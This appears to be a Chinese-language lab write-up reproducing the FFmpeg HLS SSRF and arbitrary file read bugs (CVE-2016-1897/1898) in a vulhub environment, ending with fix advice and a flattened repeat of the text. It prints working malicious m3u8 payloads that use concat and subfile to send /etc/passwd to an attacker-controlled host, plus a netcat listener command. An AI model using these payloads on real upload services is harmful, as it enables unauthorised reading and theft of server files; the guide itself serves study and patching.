ffmpeg 任意文件读取漏洞 SSRF 漏洞复现
字数 1106 2025-08-15 21:33:00

FFmpeg 任意文件读取漏洞 (CVE-2016-1897/CVE-2016-1898) 分析与复现指南

漏洞概述

FFmpeg 是一款广泛使用的开源多媒体处理工具,用于记录、转换数字音频和视频。在 FFmpeg 2.X 版本中,由于解析 HTTP Live Streaming (HLS) 流媒体 m3u8 文件时处理不当,导致存在 SSRF (服务器端请求伪造) 和任意文件读取漏洞。

漏洞编号

  • CVE-2016-1897 - 只能读取文件的第一行
  • CVE-2016-1898 - 可以读取文件任意行

影响版本

  • FFmpeg 2.8.x < 2.8.5
  • FFmpeg 2.7.x < 2.7.5
  • FFmpeg 2.6.x < 2.6.7
  • FFmpeg 2.5.x < 2.5.10

漏洞原理

漏洞源于 FFmpeg 在处理 m3u8 文件时,不会对内部的流地址(TS 流文件 URL)进行充分验证,导致可以构造恶意请求。攻击者可以利用 concat 和 subfile 函数拼接本地文件内容,并通过 HTTP 请求将数据外带。

环境搭建

推荐使用 vulhub 的 docker 镜像搭建测试环境:

docker-compose up -d

环境运行后,会提供一个视频上传接口,后端使用如下 PHP 代码处理上传文件:

<?php
if(!empty($_FILES)) {
    $filename = escapeshellarg($_FILES['file']['tmp_name']);
    $newname = uniqid() . '.mp4';
    shell_exec("ffmpeg -i $filename $newname");
}
?>

漏洞复现步骤

基本利用(读取文件第一行)

  1. 创建恶意 m3u8 文件 (basic.m3u8):
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://攻击者IP:9999/test.txt
#EXT-X-ENDLIST
  1. 在攻击服务器上监听端口:
nc -lvnp 9999
  1. 上传恶意文件,FFmpeg 会尝试请求指定的 URL

高级利用(读取任意文件内容)

  1. 准备 error.txt (放在攻击者控制的 Web 服务器上):
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:,
http://攻击者IP:9999/?
  1. 创建恶意 m3u8 文件 (upload.m3u8):
#EXTM3U
#EXT-X-TARGETDURATION:6
#EXTINF:10.0,
concat:http://攻击者IP:8989/error.txt|file:///etc/passwd
#EXT-X-ENDLIST
  1. 使用 subfile 函数分段读取文件 (绕过换行符限制):
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://攻击者IP:8989/error.txt|subfile,,start,0,end,31,,:///etc/passwd|subfile,,start,32,end,79,,:///etc/passwd
#EXT-X-ENDLIST

完整 /etc/passwd 读取示例

通过多次调整 subfile 的 start 和 end 参数,跳过换行符(\n),可以完整读取文件内容:

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://攻击者IP:8989/error.txt|subfile,,start,0,end,31,,:///etc/passwd|subfile,,start,32,end,79,,:///etc/passwd|subfile,,start,80,end,116,,:///etc/passwd|subfile,,start,117,end,153,,:///etc/passwd|subfile,,start,154,end,188,,:///etc/passwd|subfile,,start,189,end,236,,:///etc/passwd|subfile,,start,237,end,284,,:///etc/passwd|subfile,,start,285,end,329,,:///etc/passwd|subfile,,start,330,end,373,,:///etc/passwd|subfile,,start,374,end,423,,:///etc/passwd|subfile,,start,424,end,475,,:///etc/passwd|subfile,,start,476,end,518,,:///etc/passwd|subfile,,start,519,end,571,,:///etc/passwd|subfile,,start,572,end,624,,:///etc/passwd|subfile,,start,625,end,686,,:///etc/passwd|subfile,,start,687,end,735,,:///etc/passwd|subfile,,start,736,end,817,,:///etc/passwd|subfile,,start,818,end,876,,:///etc/passwd|subfile,,start,877,end,918,,:///etc/passwd|subfile,,start,919,end,965,,:///etc/passwd
#EXT-X-ENDLIST

注意事项

  1. 文件需要使用记事本编辑保存为 UTF-8 格式,使用 vim 创建可能导致复现失败
  2. 上传后后端会持续转码,可能导致进程卡死,需要手动终止 ffmpeg 进程
  3. 换行符(\n)会中断文件读取,必须通过 subfile 函数精确跳过
  4. 实际利用时需要根据目标文件内容调整 start 和 end 参数

修复建议

  1. 升级 FFmpeg 到最新版本
  2. 对用户上传的文件进行严格验证
  3. 限制 FFmpeg 的网络访问能力
  4. 在沙箱环境中运行 FFmpeg 处理程序

参考链接

FFmpeg 任意文件读取漏洞 (CVE-2016-1897/CVE-2016-1898) 分析与复现指南 漏洞概述 FFmpeg 是一款广泛使用的开源多媒体处理工具,用于记录、转换数字音频和视频。在 FFmpeg 2.X 版本中,由于解析 HTTP Live Streaming (HLS) 流媒体 m3u8 文件时处理不当,导致存在 SSRF (服务器端请求伪造) 和任意文件读取漏洞。 漏洞编号 CVE-2016-1897 - 只能读取文件的第一行 CVE-2016-1898 - 可以读取文件任意行 影响版本 FFmpeg 2.8.x < 2.8.5 FFmpeg 2.7.x < 2.7.5 FFmpeg 2.6.x < 2.6.7 FFmpeg 2.5.x < 2.5.10 漏洞原理 漏洞源于 FFmpeg 在处理 m3u8 文件时,不会对内部的流地址(TS 流文件 URL)进行充分验证,导致可以构造恶意请求。攻击者可以利用 concat 和 subfile 函数拼接本地文件内容,并通过 HTTP 请求将数据外带。 环境搭建 推荐使用 vulhub 的 docker 镜像搭建测试环境: 环境运行后,会提供一个视频上传接口,后端使用如下 PHP 代码处理上传文件: 漏洞复现步骤 基本利用(读取文件第一行) 创建恶意 m3u8 文件 (basic.m3u8): 在攻击服务器上监听端口 : 上传恶意文件 ,FFmpeg 会尝试请求指定的 URL 高级利用(读取任意文件内容) 准备 error.txt (放在攻击者控制的 Web 服务器上): 创建恶意 m3u8 文件 (upload.m3u8): 使用 subfile 函数分段读取文件 (绕过换行符限制): 完整 /etc/passwd 读取示例 通过多次调整 subfile 的 start 和 end 参数,跳过换行符(\n),可以完整读取文件内容: 注意事项 文件需要使用记事本编辑保存为 UTF-8 格式,使用 vim 创建可能导致复现失败 上传后后端会持续转码,可能导致进程卡死,需要手动终止 ffmpeg 进程 换行符(\n)会中断文件读取,必须通过 subfile 函数精确跳过 实际利用时需要根据目标文件内容调整 start 和 end 参数 修复建议 升级 FFmpeg 到最新版本 对用户上传的文件进行严格验证 限制 FFmpeg 的网络访问能力 在沙箱环境中运行 FFmpeg 处理程序 参考链接 FFMpeg漏洞分析 ffmpeg-SSRF漏洞分析 Mail.Ru 技术博客 vulhub 漏洞环境